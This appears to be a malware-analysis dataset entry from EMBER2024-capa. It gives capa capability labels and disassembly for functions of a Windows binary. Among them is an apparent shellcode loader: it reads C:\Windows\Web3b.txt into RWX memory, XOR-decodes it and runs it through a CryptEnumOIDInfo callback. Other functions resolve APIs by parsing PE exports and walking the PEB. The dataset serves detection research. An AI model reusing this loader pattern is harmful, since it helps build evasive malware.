joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40edaf
Capabilities:
Get file size
Parse pe header
Read file on windows

Disassembly:
sub esp, 0x44
lea eax, [esp + 0x10]
push ebp
mov ebp, dword [esp + 0x4c]
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
test eax, eax
jne 0x40edd1
mov eax, 0x200
jmp 0x40ef9f
push ebx
mov ebx, dword [esp + 0x18]
push esi
mov esi, ebx
and esi, 1
mov ecx, esi
or ecx, 2
test bl, 2
push edi
cmove ecx, esi
mov edi, 0x41000000
mov edx, ecx
or edx, 4
test bl, 4
cmove edx, ecx
mov ecx, ebx
and ecx, 0x10
mov eax, edx
or eax, 0x10
mov dword [esp + 0x14], ecx
test ecx, ecx
cmove eax, edx
mov edx, 0x81000000
mov ecx, eax
or ecx, 0x20
test bl, 0x20
cmove ecx, eax
mov eax, dword [esp + 0x14]
test eax, eax
cmove edi, edx
or edi, ecx
test esi, esi
jne 0x40ee3b
test eax, eax
mov edi, 0x41800000
mov edx, 0x81800000
cmove edi, edx
or edi, ecx
xor ebx, ebx
push ebx
push ebp
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
cmp esi, 0x28
jbe 0x40eee9
push ebx
push ebx
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_SetFilePointer]
push ebp
call ebx
push 0
lea eax, [esp + 0x1c]
push eax
push 2
lea eax, [esp + 0x1c]
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_ReadFile]
push 0
push 0
push 0x24
push ebp
call ebx
push 0
lea eax, [esp + 0x1c]
push eax
push 4
lea eax, [esp + 0x20]
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, 0x54ad
cmp word [esp + 0x10], ax
jne 0x40eee9
mov ecx, dword [esp + 0x14]
lea eax, [ecx + 0x34]
cmp esi, eax
jbe 0x40eee9
push 0
push 0
push ecx
push ebp
call ebx
push 0
lea eax, [esp + 0x1c]
push eax
push 4
lea eax, [esp + 0x28]
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [esp + 0x1c]
cmp eax, 0x5a4d
je 0x40eee3
cmp eax, 0x454e
je 0x40eee3
cmp eax, 0x454c
je 0x40eee3
cmp eax, 0x4550
jne 0x40eee9
or edi, 0x400000
mov eax, dword [esp + 0x5c]
test eax, eax
je 0x40eef3
mov dword [eax], edi
mov eax, dword [esp + 0x60]
test eax, eax
je 0x40eefd
mov dword [eax], esi
mov esi, dword [esp + 0x64]
test esi, esi
je 0x40ef67
mov ecx, dword [esp + 0x2c]
mov ebp, 0xd53e8000
mov eax, dword [esp + 0x30]
sub ecx, ebp
push 0
mov ebx, 0x19db1de
mov edi, 0x989680
push edi
sbb eax, ebx
push eax
push ecx
call fcn.0045d020
mov ecx, dword [esp + 0x34]
mov dword [esi], eax
sub ecx, ebp
mov eax, dword [esp + 0x38]
push 0
push edi
sbb eax, ebx
mov dword [esi + 4], edx
push eax
push ecx
call fcn.0045d020
mov ecx, dword [esp + 0x24]
mov dword [esi + 8], eax
sub ecx, ebp
mov eax, dword [esp + 0x28]
push 0
push edi
sbb eax, ebx
mov dword [esi + 0xc], edx
push eax
push ecx
call fcn.0045d020
mov dword [esi + 0x10], eax
mov dword [esi + 0x14], edx
mov esi, dword [esp + 0x68]
test esi, esi
je 0x40ef9a
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x14]
push eax
push dword [esp + 0x40]
push dword [esp + 0x40]
call fcn.0040ed56
movzx ecx, word [esp + 0x20]
add esp, 0x10
movzx eax, word [esp + 0x14]
shl ecx, 0x10
or ecx, eax
mov dword [esi], ecx
pop edi
pop esi
xor eax, eax
pop ebx
pop ebp
add esp, 0x44
ret
Function at 0x40f118
Capabilities:
Write file on windows

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push esi
mov esi, ecx
push edi
mov edi, dword [esp + 0x14]
cmp byte [esi + 0x2d], 0
je 0x40f190
mov ecx, dword [esi + 0x3c]
mov eax, ecx
test ecx, ecx
je 0x40f146
cmp dword [esi + 0x40], edi
jae 0x40f146
push ecx
call fcn.0045cf30
and dword [esi + 0x3c], 0
pop ecx
jmp 0x40f14a
test eax, eax
jne 0x40f15a
lea eax, [edi + edi]
push eax
call fcn.0045cf50
pop ecx
mov dword [esi + 0x3c], eax
mov dword [esi + 0x40], edi
push edi
push ebx
push eax
call fcn.0045f1c0
add esp, 0xc
xor ebx, ebx
test edi, edi
je 0x40f18d
push ebp
lea ebp, [esi + 0x30]
mov eax, dword [esi + 0x3c]
movzx eax, byte [eax + ebx]
push eax
push ebp
call fcn.0040ec47
pop ecx
pop ecx
mov cl, al
mov eax, dword [esi + 0x3c]
mov byte [ebx + eax], cl
inc ebx
cmp ebx, edi
jb 0x40f16f
pop ebp
mov ebx, dword [esi + 0x3c]
mov ecx, dword [esi + 0x20]
test ecx, ecx
je 0x40f1bf
mov edx, dword [esi + 0x24]
lea eax, [edx + edi]
cmp eax, dword [esi + 0x28]
jb 0x40f1ab
mov dword [esi + 0x14], 0x30000
jmp 0x40f1e3
push edi
add ecx, edx
push ebx
push ecx
call fcn.0045f1c0
add esp, 0xc
mov eax, edi
add dword [esi + 0x24], edi
jmp 0x40f1e5
mov eax, dword [esi + 4]
test eax, eax
je 0x40f1dc
push 0
lea ecx, [esp + 0x14]
push ecx
push edi
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [esp + 0x10]
jmp 0x40f1e5
mov dword [esi + 0x14], 0x1000000
xor eax, eax
pop edi
pop esi
pop ebx
ret 8

Function at 0x40f61e
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
mov edi, ecx
mov eax, dword [edi + 0x84]
test eax, eax
je 0x40f674
mov ecx, dword [edi + 0x8c]
mov esi, dword [edi + 0x88]
cmp ecx, esi
jae 0x40f6b1
sub esi, ecx
cmp esi, dword [ebp + 0xc]
cmova esi, dword [ebp + 0xc]
add eax, ecx
push esi
push eax
push dword [ebp + 8]
call fcn.0045f1c0
add dword [edi + 0x8c], esi
add dword [edi + 0x74], esi
push esi
push dword [ebp + 8]
push dword [edi + 0x78]
call fcn.0040eaf8
add esp, 0x18
mov dword [edi + 0x78], eax
mov eax, esi
jmp 0x40f6b3
cmp dword [edi + 0x7c], 0
je 0x40f6aa
push 0
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [edi + 0x7c]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x40f6b1
mov esi, dword [ebp - 4]
add dword [edi + 0x74], esi
push esi
push dword [ebp + 8]
push dword [edi + 0x78]
call fcn.0040eaf8
add esp, 0xc
jmp 0x40f66d
mov dword [edi + 0x14], 0x1000000
xor eax, eax
pop edi
pop esi
leave
ret 8
Function at 0x4100ab
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov ecx, dword [esp + 4]
xor edx, edx
mov eax, dword [ecx + 0x3c]
cmp dword [eax + ecx + 0x7c], edx
je 0x41015f
mov eax, dword [eax + ecx + 0x78]
test eax, eax
je 0x41015f
push ebx
mov ebx, dword [eax + ecx + 0x20]
push ebp
mov ebp, dword [eax + ecx + 0x1c]
add ebx, ecx
push esi
mov dword [esp + 0x10], ebx
add ebp, ecx
mov ebx, dword [eax + ecx + 0x24]
mov esi, edx
push edi
mov edi, dword [eax + ecx + 0x18]
add ebx, ecx
dec edi
mov eax, dword [esp + 0x14]
mov eax, dword [eax + edx*4]
add eax, ecx
cmp byte [eax], 0x47
jne 0x410147
cmp byte [eax + 1], 0x65
jne 0x410147
cmp byte [eax + 2], 0x74
jne 0x410147
cmp byte [eax + 3], 0x50
jne 0x410147
cmp byte [eax + 4], 0x72
jne 0x410147
cmp byte [eax + 5], 0x6f
jne 0x410147
cmp byte [eax + 6], 0x63
jne 0x410147
cmp byte [eax + 7], 0x41
jne 0x410147
cmp byte [eax + 8], 0x64
jne 0x410147
cmp byte [eax + 9], 0x64
jne 0x410147
cmp byte [eax + 0xa], 0x72
jne 0x410147
cmp byte [eax + 0xb], 0x65
jne 0x410147
cmp byte [eax + 0xc], 0x73
jne 0x410147
cmp byte [eax + 0xd], 0x73
je 0x41014e
inc edx
cmp edx, edi
jbe 0x4100eb
jmp 0x410158
movzx eax, word [ebx + edx*2]
mov esi, dword [ebp + eax*4]
add esi, ecx
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
ret
xor eax, eax
ret

Function at 0x410162
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x14]
mov eax, dword [eax]
mov eax, dword [eax]
mov eax, dword [eax + 0x10]
ret
Function at 0x410864
Capabilities:
Delete file

Disassembly:
mov eax, 0x4b8e22
call fcn.0045cf64
sub esp, 0x2a4
push ebx
push esi
xor esi, esi
push edi
inc esi
push esi
call fcn.0045cee0
pop ecx
mov dword [ebp - 0x10], eax
xor ebx, ebx
mov dword [ebp - 4], ebx
test eax, eax
je 0x410898
mov ecx, eax
call fcn.00402cc0
mov edi, eax
jmp 0x41089a
mov edi, ebx
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2c]
push str.UXpwY1hGZHBibVJ2ZDNOY1hGZGxZZz09
call fcn.00403094
lea eax, [ebp - 0x2c]
mov dword [ebp - 4], esi
push eax
lea eax, [ebp - 0x64]
push eax
call fcn.004102bb
push eax
lea eax, [ebp - 0x48]
mov byte [ebp - 4], 2
push eax
call fcn.004102bb
add esp, 0x10
lea ecx, [ebp - 0x64]
call fcn.00403354
mov eax, dword [ebp - 0x64]
push 8
push eax
mov dword [ebp - 0x64], ebx
call fcn.0045cf30
pop ecx
pop ecx
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 5
call fcn.00403354
mov eax, dword [ebp - 0x2c]
push 8
push eax
mov dword [ebp - 0x2c], ebx
call fcn.0045cf30
push ebx
push str.C:Windows_aiwo.jpg
call fcn.00407b64
add esp, 0x10
mov esi, eax
lea eax, [ebp - 0x48]
mov ecx, edi
push eax
lea eax, [ebp - 0x80]
push eax
call fcn.00402d82
cmp dword [eax + 0x18], 8
lea ecx, [eax + 4]
mov byte [ebp - 4], 6
jb 0x41092c
mov ecx, dword [ecx]
push ecx
push esi
call fcn.00407c6b
pop ecx
pop ecx
lea ecx, [ebp - 0x80]
mov byte [ebp - 4], 5
call fcn.004071f3
mov eax, dword [ebp - 0x80]
push 8
push eax
mov dword [ebp - 0x80], ebx
call fcn.0045cf30
lea eax, [ebp - 0x2b0]
push eax
push 0xffffffffffffffff
push esi
call fcn.00407ba5
mov ebx, dword [ebp - 0x2b0]
add esp, 0x14
xor edi, edi
test ebx, ebx
jle 0x410991
lea eax, [ebp - 0x2b0]
push eax
push edi
push esi
call fcn.00407ba5
lea eax, [ebp - 0x2ac]
push eax
push edi
push esi
call fcn.00407c1e
add esp, 0x18
inc edi
cmp edi, ebx
jl 0x41096d
push esi
call fcn.00407ec0
pop ecx
push esi
test al, al
je 0x4109a4
call fcn.00407c98
jmp 0x4109a9
call fcn.0040c277
pop ecx
push str.C:Windows_aiwo.jpg
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea ecx, [ebp - 0x48]
call fcn.00403354
mov eax, dword [ebp - 0x48]
and dword [ebp - 0x48], 0
push 8
push eax
call fcn.0045cf30
pop ecx
pop ecx
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret

Function at 0x410aad
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
movzx eax, byte [esp + 0xc]
xor edx, edx
mov ecx, 0x46b
div ecx
push esi
mov esi, dword [esp + 0xc]
sub dl, 0x58
test esi, esi
je 0x410adb
mov ecx, dword [esp + 8]
mov al, byte [ecx]
xor al, dl
add al, dl
xor al, dl
mov byte [ecx], al
inc ecx
sub esi, 1
jne 0x410acb
pop esi
ret
Function at 0x410add
Capabilities:
Allocate or change rwx memory
Execute shellcode via windows callback function
Get file size
Read file on windows

Disassembly:
push ecx
push ebx
push ebp
push esi
push edi
xor ebp, ebp
push ebp
push ebp
push 4
push ebp
push ebp
push connect
push str.C:WindowsWeb3b.txt
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x410b0c
push str.CreateFile_Error
call fcn.00412b0a
pop ecx
push ebp
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 0x40
push 0x1000
mov ebx, eax
push ebx
push ebp
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
test edi, edi
jne 0x410b3d
push str.VirtualAlloc_Error
call fcn.00412b0a
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebp
lea eax, [esp + 0x14]
mov dword [esp + 0x14], ebp
push eax
push ebx
push edi
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push 0xd3
push ebx
push edi
call fcn.00410aad
add esp, 0xc
push edi
push ebp
push ebp
push ebp
call dword [sym.imp.CRYPT32.dll_CryptEnumOIDInfo]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x41ca20
Capabilities:
Encode data using xor
Hash data using djb2

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
push ebx
push esi
mov esi, dword [ebp + 8]
mov ebx, 0x1505
push edi
lea edi, [esi + eax]
cmp esi, edi
jae 0x41ca56
mov al, byte [esi]
push eax
call fcn.00429ad0
movsx ecx, al
inc esi
mov eax, ebx
add esp, 4
shl eax, 5
add eax, ebx
xor ecx, eax
mov ebx, ecx
cmp esi, edi
jb 0x41ca38
pop edi
pop esi
movzx eax, bl
pop ebx
pop ebp
ret
Function at 0x426780
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x4e6208]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
push ebx
push esi
mov eax, dword [edx + 0xc]
mov esi, dword [ebp + 0x18]
push edi
mov edi, dword [ebp + 0x10]
mov ebx, dword [eax + ecx*4 + 0x158]
push ecx
push eax
push edx
mov dword [ebp - 0x108], edx
call fcn.00426c00
add esp, 0xc
test eax, eax
je 0x4267db
pop edi
mov dword [esi], 0x1b
or eax, 0xffffffff
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0045db50
mov esp, ebp
pop ebp
ret
push 0
push dword [ebp + 0x14]
push edi
push ebx
call dword [sym.imp.WS2_32.dll_send]
mov edi, eax
mov dword [esi], 0
cmp edi, 0xffffffff
jne 0x426858
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ebx, eax
cmp ebx, 0x2733
jne 0x426820
xor edi, edi
mov dword [esi], 0x51
mov eax, edi
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0045db50
mov esp, ebp
pop ebp
ret
push 0x100
lea eax, [ebp - 0x104]
push eax
push ebx
call fcn.00413190
push eax
push str.Send_failure:__s
push dword [ebp - 0x108]
call fcn.00426410
mov eax, dword [ebp - 0x108]
add esp, 0x18
mov dword [eax + 0x958], ebx
mov dword [esi], 0x37
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0045db50
mov esp, ebp
pop ebp
ret

Function at 0x426c00
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
push ebx
push esi
lea esi, [edx + 0x18]
mov eax, dword [ecx + 0x298]
shl esi, 4
add esi, ecx
push edi
mov edi, dword [esi + 4]
sub edi, dword [esi + 8]
test byte [eax + 0x40], 3
je 0x426cbb
cmp dword [ecx + edx*4 + 0x170], 0x426680
jne 0x426cbb
cmp dword [esi], 0
je 0x426c44
test edi, edi
je 0x426cbb
mov ebx, dword [ecx + edx*4 + 0x158]
push 0
push 0
push 0xffffffffffffffff
push 0xffffffffffffffff
push ebx
call fcn.00433a60
add esp, 0x14
cmp eax, 0xffffffff
je 0x426cbb
test al, 1
je 0x426cbb
mov ecx, dword [esi]
test ecx, ecx
jne 0x426ca4
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x4d8]
add eax, eax
push eax
mov dword [esi + 4], eax
call dword [0x4e615c]
mov ecx, eax
add esp, 4
mov dword [esi], ecx
test ecx, ecx
jne 0x426c93
pop edi
pop esi
lea eax, [ecx + 0x1b]
pop ebx
pop ebp
ret
mov edi, dword [esi + 4]
mov dword [esi + 8], 0
mov dword [esi + 0xc], 0
mov eax, dword [esi + 8]
push 0
push edi
add eax, ecx
push eax
push ebx
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x426cbb
add dword [esi + 8], eax
pop edi
pop esi
xor eax, eax
pop ebx
pop ebp
ret

Function at 0x426e50
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
cmp byte [eax + 0x1ac], 0
je 0x426e70
push eax
call fcn.00420f50
add esp, 4
test eax, eax
jne 0x426e8e
xor al, al
pop ebp
ret
mov eax, dword [eax + 0x158]
cmp eax, 0xffffffff
je 0x426e6c
push 2
push 1
lea ecx, [ebp + 0xb]
push ecx
push eax
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
je 0x426e6c
mov al, 1
pop ebp
ret
Function at 0x427080
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x188
mov eax, dword [0x4e6208]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
lea eax, [ebp - 0x184]
push esi
mov esi, dword [ebp + 0x10]
push edi
mov edi, dword [ebp + 0x14]
push 0x80
push 0
push eax
mov dword [ebp - 0x188], 0x80
call fcn.0045f740
add esp, 0xc
lea eax, [ebp - 0x188]
push eax
lea eax, [ebp - 0x184]
push eax
push dword [ebp + 0xc]
call dword [sym.imp.WS2_32.dll_getsockname]
test eax, eax
je 0x4270fd
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov esi, eax
lea eax, [ebp - 0x104]
push 0x100
push eax
push esi
call fcn.00413190
push eax
push esi
push str.getsockname___failed_with_errno__d:__s
jmp 0x427140
push edi
push esi
push dword [ebp - 0x188]
lea eax, [ebp - 0x184]
push eax
call fcn.00426cd0
add esp, 0x10
test al, al
jne 0x427149
call fcn.0047b860
mov esi, dword [eax]
call fcn.0047b860
mov edi, eax
lea eax, [ebp - 0x104]
push 0x100
push eax
push esi
call fcn.00413190
push eax
push dword [edi]
push str.ssloc_inet_ntop___failed_with_errno__d:__s
push ebx
call fcn.00426410
add esp, 0x1c
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0045db50
mov esp, ebp
pop ebp
ret

Function at 0x427840
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x4e742c]
mov dword [ebp - 8], 0x4020
mov dword [ebp - 4], 0
mov dword [ebp - 0xc], 4
test eax, eax
jne 0x427891
push 3
push 2
push eax
push 6
call fcn.0044f6c0
add esp, 0x10
test al, al
je 0x427885
mov dword [0x4e742c], 2
mov esp, ebp
pop ebp
ret
mov dword [0x4e742c], 1
jmp 0x427896
cmp eax, 2
je 0x4278d6
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
push 0x1001
push 0xffff
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_getsockopt]
test eax, eax
jne 0x4278bd
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 8]
jg 0x4278d6
push 4
lea eax, [ebp - 8]
push eax
push 0x1001
push 0xffff
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_setsockopt]
mov esp, ebp
pop ebp
ret
Function at 0x4286b0
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x4e6208]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
xor eax, eax
push edi
mov edi, dword [ebp + 0xc]
push 4
cmp byte [esi + 0x710], al
setne al
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x14]
push eax
push 8
push 0xffff
push edi
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jns 0x42870d
push edi
push str.Failed_to_set_SO_KEEPALIVE_on_fd__d_n
push esi
call fcn.004264d0
add esp, 0xc
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0045db50
mov esp, ebp
pop ebp
ret
push dword [esi + 0x6a8]
mov dword [ebp - 0x10], 1
call fcn.00428920
push dword [esi + 0x6ac]
imul eax, eax, 0x3e8
mov dword [ebp - 0x14], eax
mov dword [ebp - 0xc], eax
call fcn.00428920
add esp, 8
imul eax, eax, 0x3e8
push 0
push 0
mov dword [ebp - 0x14], eax
mov dword [ebp - 8], eax
lea eax, [ebp - 0x18]
push eax
push 0
push 0
push 0xc
lea eax, [ebp - 0x10]
push eax
push 0x98000004
push edi
call dword [sym.imp.WS2_32.dll_WSAIoctl]
test eax, eax
je 0x42877d
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push edi
push str.Failed_to_set_SIO_KEEPALIVE_VALS_on_fd__d:__d_n
push esi
call fcn.004264d0
add esp, 0x10
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.0045db50
mov esp, ebp
pop ebp
ret

Function at 0x428790
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x4e6208]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x108]
push 4
push eax
push 1
push 6
push dword [ebp + 0xc]
mov dword [ebp - 0x108], 1
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jns 0x4287f2
push 0x100
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
call fcn.00413190
push eax
push str.Could_not_set_TCP_NODELAY:__s_n
push esi
call fcn.004264d0
add esp, 0x18
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.0045db50
mov esp, ebp
pop ebp
ret

Function at 0x428900
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0x10]
call fcn.00428930
add esp, 4
mov dword [ebp + 0x10], eax
pop ebp
jmp fcn.004958a0
Function at 0x428b90
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push edi
push str.kernel32
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [ebp - 4], eax
test eax, eax
jne 0x428bb0
pop edi
mov esp, ebp
pop ebp
ret
push ebx
push esi
push 0x4c1048
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, dword [ebp + 8]
mov ebx, eax
push 0x4c1058
push esi
mov dword [ebp - 8], ebx
call fcn.00486170
add esp, 8
test eax, eax
je 0x428bfc
test ebx, ebx
je 0x428bec
push 8
push 0
push esi
call ebx
pop esi
mov edi, eax
pop ebx
pop edi
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
pop esi
mov edi, eax
pop ebx
pop edi
mov esp, ebp
pop ebp
ret
test ebx, ebx
je 0x428c25
push str.AddDllDirectory
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x428c25
push 0x800
push 0
push esi
call ebx
pop esi
mov edi, eax
pop ebx
pop edi
mov esp, ebp
pop ebp
ret
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
mov edx, eax
mov dword [ebp - 4], edx
test edx, edx
je 0x428ce8
mov ecx, esi
lea ebx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x428c41
sub ecx, ebx
sar ecx, 1
lea eax, [ecx + edx]
lea eax, [eax*2 + 2]
push eax
call dword [0x4e615c]
mov ebx, eax
add esp, 4
test ebx, ebx
je 0x428cde
push dword [ebp - 4]
push ebx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
je 0x428cde
mov ecx, ebx
lea edx, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x428c80
sub ecx, edx
sar ecx, 1
mov dword [ebx + ecx*2], 0x5c
mov ecx, ebx
lea edx, [ecx + 2]
nop dword [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x428ca0
sub ecx, edx
sar ecx, 1
add ecx, ecx
sub ecx, esi
add ecx, ebx
movzx eax, word [esi]
lea esi, [esi + 2]
mov word [ecx + esi - 2], ax
test ax, ax
jne 0x428cb5
mov eax, dword [ebp - 8]
test eax, eax
je 0x428cd5
push 8
push 0
push ebx
call eax
jmp 0x428cdc
push ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov edi, eax
push ebx
call dword [0x4e6160]
add esp, 4
pop esi
pop ebx
mov eax, edi
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x428d00
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x194
mov eax, dword [0x4e6208]
xor eax, ebp
mov dword [ebp - 4], eax
test byte [ebp + 8], 2
je 0x428d59
lea eax, [ebp - 0x194]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x428d46
mov eax, dword [ebp - 0x194]
cmp al, 2
jne 0x428d40
shr eax, 8
cmp al, 2
je 0x428d59
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 2
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0045db50
mov esp, ebp
pop ebp
ret
call fcn.00450940
test eax, eax
jne 0x428dbb
push 0x4c1008
call fcn.00428b90
add esp, 4
mov dword [0x4e7434], eax
test eax, eax
je 0x428d95
push str.if_nametoindex
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [0x4e7430]
test eax, eax
cmovne ecx, eax
mov dword [0x4e7430], ecx
push 3
push 2
push 0
push 6
call fcn.0044f6c0
add esp, 0x10
test al, al
setne byte [0x4e89b4]
push 0x4e89b8
call dword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0045db50
mov esp, ebp
pop ebp
ret

Function at 0x42aa70
Capabilities:
Create udp socket

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
test eax, eax
je 0x42aa85
mov eax, dword [eax + 0x7c]
mov al, byte [eax + 0xe7]
pop ebp
ret
push 0
push 2
push 0x17
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
jne 0x42aa9a
xor al, al
pop ebp
ret
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov al, 1
pop ebp
ret

Function at 0x42ac30
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
test esi, esi
je 0x42ac5b
cmp dword [esi + 0x84], 0
je 0x42ac5b
push 2
push 3
push esi
call fcn.0042a0d0
push dword [ebp + 0xc]
call fcn.0042a640
add esp, 0x10
jmp 0x42ac6a
push dword [ebp + 0xc]
call fcn.0042a640
add esp, 4
test esi, esi
je 0x42ac7e
cmp dword [esi + 0x84], 0
je 0x42ac7e
push 3
push esi
call fcn.0042a110
add esp, 8
pop esi
pop ebp
ret